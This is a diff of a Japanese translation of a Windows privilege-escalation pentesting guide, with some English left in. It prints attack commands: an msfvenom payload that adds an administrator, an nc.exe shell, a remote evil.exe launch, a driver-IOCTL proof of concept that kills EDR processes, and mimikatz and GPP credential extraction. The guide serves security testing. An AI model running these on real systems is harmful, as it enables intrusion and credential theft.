+**サービスによって実行されるバイナリを変更できるかを確認する**、またはバイナリが配置されているフォルダに **書き込み権限があるかを確認する**([**DLL Hijacking**](dll-hijacking/index.html))**。**\ +サービスによって実行されるすべてのバイナリは **wmic** を使用して取得でき(not in system32)、権限は **icacls** で確認できます: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -また、**sc** と **icacls** を使用できます: +また **sc** と **icacls** を使用できます: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Services registry の変更権限 +### サービス レジストリの変更権限 -任意の service registry を変更できるか確認してください。\ -次の方法で、サービス **registry** に対するあなたの **permissions** を **check** できます: +任意のサービス レジストリを変更できるか確認してください。\ +次のようにサービスの**レジストリ**に対する**権限**を**確認**できます: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -531,15 +531,16 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているか確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを改変できます。 +サービスが実行するバイナリを変更できるかどうか、**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているか確認する必要があります。もしそうなら、サービスによって実行されるバイナリを変更できます。 -実行されるバイナリの Path を変更するには: +実行されるバイナリの Path を変更するには: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory permissions +### サービス レジストリ AppendData/AddSubdirectory permissions + +If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:** -レジストリに対してこの権限があるということは、**このレジストリからサブレジストリを作成できる**という意味です。Windows services の場合、これは**任意のコードを実行するのに十分**です: {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -547,15 +548,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -実行ファイルへのパスが引用符で囲まれていない場合、Windows はスペースの前までの各区切りを順に実行しようとします。 +If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. -例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windows は次のように実行を試みます: +For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -組み込みの Windows サービスに属するものを除き、引用符で囲まれていないサービスパスをすべて一覧表示する: +組み込みの Windows サービスに属するものを除き、すべての引用符で囲まれていないサービスパスを列挙します: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -575,20 +576,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**metasploitでこの脆弱性を検出および exploit できます**: `exploit/windows/local/trusted\_service\_path` -metasploitを使ってサービスバイナリを手動で作成できます: +**この脆弱性を検出および悪用できます** metasploit: `exploit/windows/local/trusted\_service\_path` You can manually create a service binary with metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### 回復アクション -Windowsでは、サービスが失敗した場合に実行するアクションをユーザが指定できます。この機能は特定の binary を指すように設定できます。この binary を差し替え可能であれば、privilege escalation が発生する可能性があります。詳細は[official documentation]()を参照してください。 +Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能は実行先としてbinaryを指定するように設定できます。もしこのbinaryを置き換え可能であれば、privilege escalationが可能になる場合があります。詳細は[公式ドキュメント]()を参照してください。 ## アプリケーション ### インストール済みアプリケーション -**binaries の権限**(binaries のうち1つを上書きして escalate privileges できるかもしれません)および **フォルダ** の権限を確認してください([DLL Hijacking](dll-hijacking/index.html))。 +**permissions of the binaries**(上書きできればprivilege escalationが可能かもしれません)および**folders**([DLL Hijacking](dll-hijacking/index.html))の権限を確認してください。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -599,9 +599,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### 書き込み権限 -特定のファイルを読み取るために、config ファイルを変更できるか、または管理者アカウントで実行されるバイナリを変更できるか確認してください(schedtasks)。 +管理者アカウントによって実行されるバイナリ(schedtasks)を変更できるか、あるいは特定のファイルを読むために設定ファイルを変更できるかを確認してください。 -システム内の弱いフォルダ/ファイルの権限を見つける方法の一つは、次のようにすることです: +システム内の弱いフォルダー/ファイルの権限を見つける方法の一つは次のとおりです: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -624,39 +624,74 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### 起動時に実行 +### 起動時に実行されるもの + +**別のユーザーによって実行されるレジストリやバイナリを上書きできるか確認する。**\ +**以下のページ**を参照して、興味深い **autoruns locations to escalate privileges** について詳しく学んでください: -**別のユーザーによって実行される registry や binary を上書きできるか確認してください。**\ -**読む** the **以下のページ** で、興味深い **autoruns locations to escalate privileges** について詳しく学んでください: {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### ドライバー +### ドライバ -可能性のある**サードパーティの挙動不審/脆弱な**ドライバーを探してください +サードパーティ製の**怪しい/脆弱な**ドライバがないか探す ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -ドライバが arbitrary kernel read/write primitive を公開している場合(poorly designed IOCTL handlers によく見られる)、SYSTEM token をカーネルメモリから直接盗み取ることで権限を昇格できます。ステップ‑バイ‑ステップの手法は次を参照: +ドライバが arbitrary kernel read/write primitive(不適切に設計された IOCTL ハンドラでよく見られる)を公開している場合、kernel memory から直接 SYSTEM token を盗むことで権限昇格できます。ステップバイステップの手法はこちらを参照してください: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### device objects における FILE_DEVICE_SECURE_OPEN の欠如の悪用(LPE + EDR kill) + +署名された一部のサードパーティドライバは、IoCreateDeviceSecure を使って強力な SDDL で device object を作成しますが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を設定し忘れることがあります。このフラグがないと、追加のコンポーネントを含むパス経由でデバイスを開いた場合に secure DACL が適用されず、特権のない任意のユーザが次のような名前空間パスを使ってハンドルを取得できます: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +ユーザがデバイスを開けるようになると、ドライバが公開する特権付きの IOCTLs を LPE や tampering に悪用できます。実際に観測された例: + +- 任意のプロセスに対してフルアクセスのハンドルを返す(token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser)。 +- 制限のない raw disk read/write(オフラインでの改ざん、ブート時永続化トリック)。 +- Protected Process/Light (PP/PPL) を含む任意のプロセスを終了させることができ、これによりカーネル経由でユーザランドから AV/EDR を kill できます。 + +最小限の PoC パターン (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +開発者向けの緩和策 +- デバイスオブジェクトを作成する際、DACLで制限する予定のものには常に FILE_DEVICE_SECURE_OPEN を設定する。 +- 特権操作では呼び出し元のコンテキストを検証する。プロセスの終了やハンドルの返却を許可する前に PP/PPL チェックを追加する。 +- IOCTLs(アクセスマスク、METHOD_*、入力検証)を制限し、直接的なカーネル権限の代わりにブローカー型モデルを検討する。 + +ディフェンダー向けの検出案 +- 怪しいデバイス名(例: \\ .\\amsdk*)へのユーザーモードからのオープンや、悪用を示す特定の IOCTL シーケンスを監視する。 +- Microsoft の vulnerable driver blocklist(HVCI/WDAC/Smart App Control)を適用し、独自の allow/deny リストを維持する。 + ## PATH DLL Hijacking -もし PATH に存在するフォルダ内に**write permissions**があると、プロセスに読み込まれるDLLをハイジャックして**escalate privileges**できる可能性があります。 +If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. PATH 内のすべてのフォルダの権限を確認する: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -このチェックを悪用する方法の詳細については: +このチェックを悪用する方法の詳細については: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -672,21 +707,21 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts ファイル +### hosts file -hosts ファイルにハードコードされた他の既知のコンピュータがないか確認する +hosts fileにハードコードされた他の既知のコンピュータがないか確認する ``` type C:\Windows\System32\drivers\etc\hosts ``` -### ネットワークインターフェースと DNS +### ネットワークインターフェース & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### 開いているポート -外部から**restricted services**を確認する +外部から**アクセス制限されたサービス**を確認する ```bash netstat -ano #Opened ports? ``` @@ -700,11 +735,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### ファイアウォールのルール +### Firewall Rules -[**ファイアウォール関連のコマンドはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールの一覧、ルールの作成、無効化、無効化...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(ルールの一覧表示、ルールの作成、無効化、無効化...)** -さらに[ネットワーク列挙のコマンドはこちら](../basic-cmd-for-pentesters.md#network) +さらに[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -713,16 +748,16 @@ C:\Windows\System32\wsl.exe ``` バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つかります。 -root user を取得すると、任意のポートで listen できます(`nc.exe` を初めてポートで listen に使うと、GUI により `nc` を firewall で許可するか確認されます)。 +もし root user を取得すれば、任意のポートで listen できます(最初に `nc.exe` を使ってポートで listen すると、GUI で `nc` を firewall に許可するか尋ねられます)。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -bashをrootとして簡単に起動するには、`--default-user root` を試してください。 +bash を root として簡単に起動するには、`--default-user root` を試してください -フォルダ `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` にある `WSL` のファイルシステムを参照できます。 +フォルダ `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` で `WSL` のファイルシステムを参照できます ## Windows 資格情報 @@ -738,16 +773,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Credentials manager / Windows vault +### 資格情報マネージャ / Windows Vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vaultは、サーバー、ウェブサイト、その他のプログラム用のユーザー資格情報を格納します。これらは**Windows**が**log in the users automaticall**yできるものです。最初は、ユーザーがFacebookやTwitter、Gmailなどの資格情報を保存してブラウザ経由で自動ログインするように見えるかもしれませんが、そうではありません。 +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault は、Windows がユーザーを自動的にログインさせられるサーバー、ウェブサイト、その他のプログラム向けのユーザー資格情報を保存します。最初は、ユーザーが Facebook、Twitter、Gmail などの資格情報を保存してブラウザで自動ログインするためのものに見えるかもしれませんが、実際はそうではありません。 -Windows Vaultは、Windowsがユーザーに自動ログインできる資格情報を保存します。つまり、任意の**Windows application that needs credentials to access a resource**(サーバーやウェブサイト)が、**can make use of this Credential Manager**およびWindows Vaultを利用して、ユーザーが毎回ユーザー名とパスワードを入力する代わりに保存された資格情報を使用できる、ということです。 +Windows Vault は Windows が自動ログインできる資格情報を保存します。つまり、リソース(サーバーやウェブサイト)にアクセスするために資格情報を必要とする任意の **Windows application that needs credentials to access a resource** は、この **Credential Manager** と Windows Vault を利用して、ユーザーが毎回ユーザー名とパスワードを入力する代わりに保存された資格情報を使用できます。 -アプリケーションがCredential Managerと連携しない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、アプリケーションがvaultを利用したい場合は、デフォルトのストレージvaultからそのリソースの資格情報を取得するために、何らかの方法で**communicate with the credential manager and request the credentials for that resource**する必要があります。 +アプリケーションが Credential Manager と連携しない限り、特定のリソースの資格情報を利用することはできないと思われます。したがって、アプリケーションが vault を利用したい場合は、デフォルトのストレージ vault からそのリソースの資格情報を取得するために、何らかの方法で **credential manager と通信して資格情報を要求する** 必要があります。 -マシンに保存されている資格情報を一覧表示するには、`cmdkey`を使用します。 +マシンに保存されている資格情報を一覧表示するには `cmdkey` を使用します。 ```bash cmdkey /list Currently stored credentials: @@ -755,48 +790,49 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -その後、保存された資格情報を使用するために `runas` を `/savecred` オプション付きで使用できます。以下の例では、SMB 共有経由でリモートのバイナリを呼び出しています。 +その後、保存された資格情報を使用するために`runas`を`/savecred`オプション付きで使用できます。次の例はSMB share経由でリモートバイナリを呼び出すものです。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -`runas` を提供された資格情報のセットで使用する。 +提供された資格情報を使用して `runas` を実行する。 ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note that mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html)、または[Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) からも取得できます。 ### DPAPI -The **Data Protection API (DPAPI)** は、主に Windows オペレーティングシステム内で、非対称のプライベートキーの対称暗号化に使用されるデータの対称暗号化手法を提供します。この暗号化は、エントロピーに大きく寄与するユーザーまたはシステムのシークレットを利用します。 +The **Data Protection API (DPAPI)** は、データの対称暗号化の手法を提供し、主に Windows オペレーティングシステム内で非対称秘密鍵の対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムのシークレットを利用してエントロピー(ランダム性)に大きく寄与します。 -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。システム暗号化が関わるシナリオでは、システムのドメイン認証シークレットを利用します。 +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。システム暗号化のシナリオでは、システムのドメイン認証シークレットを利用します。 -DPAPI を使用した暗号化されたユーザーの RSA キーは、`%APPDATA%\Microsoft\Protect\{SID}` ディレクトリに格納されます。ここで `{SID}` はユーザーの [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) を表します。**The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file** は通常 64 バイトのランダムデータで構成されます。(このディレクトリへのアクセスは制限されており、CMD の `dir` コマンドでは内容を一覧表示できませんが、PowerShell では一覧表示できます。) +DPAPI を使用して暗号化されたユーザーの RSA キーは %APPDATA%\Microsoft\Protect\{SID} ディレクトリに保存されます。ここで {SID} はユーザーの[Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) を表します。**同じファイル内でユーザーの秘密鍵を保護するマスターキーと同じ場所に格納されている DPAPI キーは、通常 64 バイトのランダムデータで構成されます。**(このディレクトリへのアクセスは制限されており、CMD の dir コマンドで内容を一覧表示することはできませんが、PowerShell では一覧表示できます。) ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -適切な引数(`/pvk` または `/rpc`)を指定して、**mimikatz module** の `dpapi::masterkey` を使用して復号できます。 +適切な引数(`/pvk` または `/rpc`)を付けて、**mimikatz module** `dpapi::masterkey` を使用することでそれを復号できます。 -通常、**credentials files protected by the master password** は次の場所にあります: +**credentials files protected by the master password** は通常次の場所にあります: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -適切な `/masterkey` を指定して **mimikatz module** `dpapi::cred` を使用して復号できます。\\ -root の場合、`sekurlsa::dpapi` モジュールを使用して **extract many DPAPI** **masterkeys** を **memory** から抽出できます(root の場合)。 +適切な `/masterkey` を指定して **mimikatz module** `dpapi::cred` を使って復号できます。\ +`sekurlsa::dpapi` モジュールを使えば、**memory** から多くの **DPAPI** **masterkeys** を抽出できます(**root** の場合)。 + {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell の資格情報 +### PowerShell 資格情報 -**PowerShell の資格情報** は、暗号化された資格情報を便利に保存する手段として、**スクリプト**や自動化タスクでよく使用されます。これらの資格情報は **DPAPI** を使用して保護されており、通常は作成された同じユーザーが同じコンピューター上でのみ復号できます。 +**PowerShell 資格情報** は、暗号化された資格情報を便利に保存する方法として、**scripting** や自動化タスクでよく使われます。これらの資格情報は **DPAPI** によって保護されており、通常、作成されたのと同じユーザーかつ同じコンピュータ上でしか復号できません。 -ファイルに含まれる PS の資格情報を **decrypt** するには、次のようにします: +ファイルに含まれる PowerShell 資格情報を **復号する** には、次のようにします: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -818,7 +854,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### 保存された RDP 接続 -それらは `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +以下の場所で見つけることができます: `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### 最近実行されたコマンド @@ -830,20 +866,27 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -適切な `/masterkey` を指定して **Mimikatz** の `dpapi::rdg` モジュールを使用し、**任意の .rdg ファイルを復号**してください。\ -Mimikatz の `sekurlsa::dpapi` モジュールを使うと、メモリから多くの **DPAPI masterkeys** を抽出できます。 +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +適切な `/masterkey` を指定して **Mimikatz** の `dpapi::rdg` モジュールを使用すると、**任意の .rdg ファイルを復号**できます\ +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module +Mimikatz の `sekurlsa::dpapi` モジュールを使用して、メモリから多くの **DPAPI masterkeys を抽出**できます ### Sticky Notes -People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. +People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. +Windows のワークステーションでは StickyNotes アプリがパスワードやその他の情報を **保存** するために使われることが多く、それがデータベースファイルであることに気づいていない場合がよくあります。このファイルは `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に見つけて調査する価値があります。 ### AppCmd.exe **Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ **AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. +**AppCmd.exe からパスワードを回復するには Administrator 権限が必要で、High Integrity level で実行する必要があることに注意してください。**\ +**AppCmd.exe** は `%systemroot%\system32\inetsrv\` ディレクトリにあります。\ +このファイルが存在する場合、何らかの **credentials** が設定されており、**回復** できる可能性があります。 -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +このコードは [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) から抽出されました: ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -924,7 +967,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM `C:\Windows\CCM\SCClient.exe` が存在するか確認する。\ -インストーラーは**SYSTEM権限で実行されます**, 多くは**DLL Sideloading (情報元** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +インストーラは **run with SYSTEM privileges** で実行されます。多くは **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -936,25 +979,25 @@ else { Write "Not Installed." } ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH ホストキー +### Putty の SSH ホストキー ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys in registry +### レジストリ内のSSHキー -SSH private keys はレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されていることがあるため、そこに興味深いものがないか確認してください: +SSHのプライベートキーはレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されている場合があるため、そこに興味深いものがないか確認してください: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -そのパス内にエントリが見つかった場合、それはおそらく保存された SSH キーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) を使えば簡単に復号できます。\ +そのパス内にエントリがあれば、おそらく保存された SSH キーです。暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) を使えば簡単に復号できます.\ この手法の詳細はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -`ssh-agent` サービスが実行されておらず、起動時に自動的に開始したい場合は次を実行してください: +もし `ssh-agent` サービスが実行されておらず、起動時に自動的に開始したい場合は、次を実行してください: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> この手法はもう有効ではないようです。ssh keys を作成して `ssh-add` で追加し、ssh でマシンにログインしてみましたが、レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称鍵認証中に `dpapi.dll` の使用を検出しませんでした。 +> この手法はもう有効ではないようです。ssh keys を作成し、`ssh-add`で追加してsshでマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称キー認証中に `dpapi.dll` の使用を検出しませんでした。 ### 放置されたファイル ``` @@ -971,7 +1014,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -これらのファイルは **metasploit** を使用して検索することもできます: _post/windows/gather/enum_unattend_ +これらのファイルは**metasploit**を使って検索することもできます: _post/windows/gather/enum_unattend_ 例の内容: ```xml @@ -992,7 +1035,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` -### SAM & SYSTEM のバックアップ +### SAM & SYSTEM バックアップ ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1014,15 +1057,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -**SiteList.xml** というファイルを検索してください +ファイル名が **SiteList.xml** のファイルを検索する -### キャッシュされた GPP パスワード +### Cached GPP パスワード -以前、Group Policy Preferences (GPP) を使って複数のマシンにカスタムのローカル管理者アカウントを展開できる機能が利用可能でした。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOL に XML ファイルとして保存されている Group Policy Objects (GPOs) は任意のドメインユーザーがアクセスできました。次に、これらの GPP 内のパスワードは公開されているデフォルトキーを使って AES256 で暗号化されており、任意の認証済みユーザーによって復号可能でした。これにより、ユーザーが権限を昇格させる可能性があり、重大なリスクとなりました。 +以前は、Group Policy Preferences (GPP) を使って複数のマシンにカスタムのローカル管理者アカウントを展開できる機能がありました。しかし、この方法には重大なセキュリティ欠陥がありました。第一に、SYSVOL に XML ファイルとして格納される Group Policy Objects (GPOs) は、任意のドメインユーザがアクセスできました。第二に、これらの GPP 内のパスワードは、公開されているデフォルトキーを用いて AES256 で暗号化されていましたが、任意の認証済みユーザが復号できました。そのため、権限昇格につながる重大なリスクがありました。 -このリスクを軽減するため、ローカルにキャッシュされた GPP ファイルをスキャンし、"cpassword" フィールドが空でないものを検出する関数が開発されました。該当するファイルが見つかると、その関数はパスワードを復号し、カスタム PowerShell オブジェクトを返します。このオブジェクトは GPP とファイルの場所に関する情報を含み、脆弱性の特定と対処に役立ちます。 +このリスクを軽減するため、"cpassword" フィールドが空でないローカルにキャッシュされた GPP ファイルを検索する関数が作られました。そのようなファイルが見つかると、関数はパスワードを復号し、カスタムの PowerShell オブジェクトを返します。オブジェクトには GPP の詳細やファイルの場所が含まれ、脆弱性の特定と対処に役立ちます。 -次のファイルは、`C:\ProgramData\Microsoft\Group Policy\history` または _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(Windows Vista より前)_ を検索してください: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1036,11 +1079,11 @@ AppData\Roaming\gcloud\access_tokens.db #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec を使用して passwords を取得する: +crackmapexecを使って passwords を取得する: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web 構成 +### IIS Web構成 ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1054,7 +1097,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -credentials を含む web.config の例: +資格情報を含む web.config の例: ```xml @@ -1064,7 +1107,7 @@ credentials を含む web.config の例: ``` -### OpenVPN の認証情報 +### OpenVPN 認証情報 ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1092,9 +1135,9 @@ 